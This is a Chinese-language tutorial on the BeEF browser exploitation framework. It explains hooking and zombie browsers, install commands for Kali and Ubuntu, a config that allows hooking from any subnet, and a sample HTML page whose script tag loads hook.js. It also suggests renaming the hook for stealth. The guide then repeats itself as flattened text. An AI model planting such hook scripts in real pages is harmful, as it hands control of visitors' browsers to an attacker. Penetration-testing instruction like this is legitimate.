浏览器攻击框架BeEF Part 1
字数 1259 2025-08-18 11:37:23

BeEF浏览器攻击框架全面指南

1. BeEF框架概述

BeEF (The Browser Exploitation Framework)是由Wade Alcorn在2006年创建的专门针对浏览器攻击的框架,至今仍在维护。它是一个客户端-服务器架构的工具,使用Ruby语言开发。

核心概念

  • Zombie(僵尸): 被攻击控制的浏览器
  • Hook(勾连): 通过JavaScript代码将浏览器与BeEF服务器建立连接
  • 工作原理:
    • 浏览器访问含有hook代码的页面后被勾连
    • 被勾连的浏览器执行初始代码并返回信息
    • Zombie定期(默认1秒)向BeEF服务器请求新指令
    • BeEF持有者通过Web界面管理被控浏览器

2. 预备知识

在使用BeEF前,建议掌握以下知识:

  1. HTTP协议(CORS、CSP等)
  2. Web安全常见攻击技术原理和防御方法(XSS、CSRF、SQL注入等)
  3. JavaScript语言基础(可选但推荐)
  4. 同源策略(Same Origin Policy)概念

3. 安装与配置

在Kali Linux中使用

Kali默认已安装BeEF,可通过以下方式管理:

systemctl start beef-xss.service   # 开启
systemctl stop beef-xss.service    # 关闭
systemctl restart beef-xss.service # 重启

默认管理界面地址:http://127.0.0.1:3000/ui/panel
默认凭据:beef/beef

在Ubuntu 17.10中安装

  1. 创建专用用户:
useradd -m -d /home/beef -s /bin/bash beef
passwd beef
usermod -aG root,sudo beef
su beef
  1. 安装BeEF:
cd
wget https://github.com/beefproject/beef/archive/master.zip
sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y
unzip master.zip
cd beef-master
./install
  1. 解决权限问题:
sudo chmod g+w /var/lib/gems/2.3.0
sudo chmod g+w /usr/local/bin
  1. 运行BeEF:
nohup ./beef &

重要配置项

配置文件位置:

  • Kali: /usr/share/beef-xss/config.yaml
  • 自主安装: BeEF主目录/config.yaml

推荐修改的配置:

permitted_hooking_subnet: "0.0.0.0/0"  # 允许hook的网段
permitted_ui_subnet: "0.0.0.0/0"       # 允许访问管理UI的网段
host: "0.0.0.0"                        # 监听地址
port: "3000"                           # 监听端口
xhr_poll_timeout: 1000                 # 浏览器轮询间隔(毫秒)
web_ui_basepath: "/ui"                 # 管理页面URI
hook_file: "/hook.js"                  # hook文件名称
credentials:                           # 管理凭据
  user: "beef"
  passwd: "beef"

4. 基本使用

创建hook页面

创建一个包含hook的HTML文件(test.html):

<html>
<head>
<script src='http://127.0.0.1:3000/hook.js'></script>
</head>
<body>Hello World</body>
</html>

管理界面功能

  1. 访问管理界面:http://[your-ip]:3000/ui/panel
  2. 查看被控浏览器列表
  3. 选择模块执行命令

模块颜色标识

  • 绿色: 可执行且用户无感知
  • 橙色: 可执行但用户可能有感知(弹窗等)
  • 灰色: 未验证是否可用
  • 红色: 不适用于当前目标

5. 攻击示例

以"Detect Virtual Machine"模块为例:

  1. 在管理界面选择被控浏览器
  2. 导航至"Host"分类
  3. 选择"Detect Virtual Machine"模块
  4. 点击"Execute"执行

6. 安全建议

  1. 修改默认管理凭据
  2. 限制访问管理UI的IP范围
  3. 修改hook文件名称增加隐蔽性
  4. 避免使用root用户运行BeEF
  5. 定期更新BeEF框架

7. 学习资源

  1. HTTP协议文档: MDN HTTP
  2. 浏览器安全书籍: 《黑客攻防技术宝典浏览器实战篇》
  3. BeEF官方文档: GitHub Wiki

8. 注意事项

  1. Kali版本的BeEF可能不支持IE8
  2. 真实环境中使用时需要公网可访问的服务器
  3. 某些模块可能触发安全软件的警报
  4. 使用前确保获得合法授权

通过本指南,您应该已经掌握了BeEF框架的基本原理、安装配置和使用方法。后续可以深入研究特定模块的功能和高级攻击技术。

BeEF浏览器攻击框架全面指南 1. BeEF框架概述 BeEF (The Browser Exploitation Framework)是由Wade Alcorn在2006年创建的专门针对浏览器攻击的框架,至今仍在维护。它是一个客户端-服务器架构的工具,使用Ruby语言开发。 核心概念 Zombie(僵尸) : 被攻击控制的浏览器 Hook(勾连) : 通过JavaScript代码将浏览器与BeEF服务器建立连接 工作原理 : 浏览器访问含有hook代码的页面后被勾连 被勾连的浏览器执行初始代码并返回信息 Zombie定期(默认1秒)向BeEF服务器请求新指令 BeEF持有者通过Web界面管理被控浏览器 2. 预备知识 在使用BeEF前,建议掌握以下知识: HTTP协议(CORS、CSP等) Web安全常见攻击技术原理和防御方法(XSS、CSRF、SQL注入等) JavaScript语言基础(可选但推荐) 同源策略(Same Origin Policy)概念 3. 安装与配置 在Kali Linux中使用 Kali默认已安装BeEF,可通过以下方式管理: 默认管理界面地址: http://127.0.0.1:3000/ui/panel 默认凭据:beef/beef 在Ubuntu 17.10中安装 创建专用用户: 安装BeEF: 解决权限问题: 运行BeEF: 重要配置项 配置文件位置: Kali: /usr/share/beef-xss/config.yaml 自主安装: BeEF主目录/config.yaml 推荐修改的配置: 4. 基本使用 创建hook页面 创建一个包含hook的HTML文件(test.html): 管理界面功能 访问管理界面: http://[your-ip]:3000/ui/panel 查看被控浏览器列表 选择模块执行命令 模块颜色标识 绿色 : 可执行且用户无感知 橙色 : 可执行但用户可能有感知(弹窗等) 灰色 : 未验证是否可用 红色 : 不适用于当前目标 5. 攻击示例 以"Detect Virtual Machine"模块为例: 在管理界面选择被控浏览器 导航至"Host"分类 选择"Detect Virtual Machine"模块 点击"Execute"执行 6. 安全建议 修改默认管理凭据 限制访问管理UI的IP范围 修改hook文件名称增加隐蔽性 避免使用root用户运行BeEF 定期更新BeEF框架 7. 学习资源 HTTP协议文档: MDN HTTP 浏览器安全书籍: 《黑客攻防技术宝典浏览器实战篇》 BeEF官方文档: GitHub Wiki 8. 注意事项 Kali版本的BeEF可能不支持IE8 真实环境中使用时需要公网可访问的服务器 某些模块可能触发安全软件的警报 使用前确保获得合法授权 通过本指南,您应该已经掌握了BeEF框架的基本原理、安装配置和使用方法。后续可以深入研究特定模块的功能和高级攻击技术。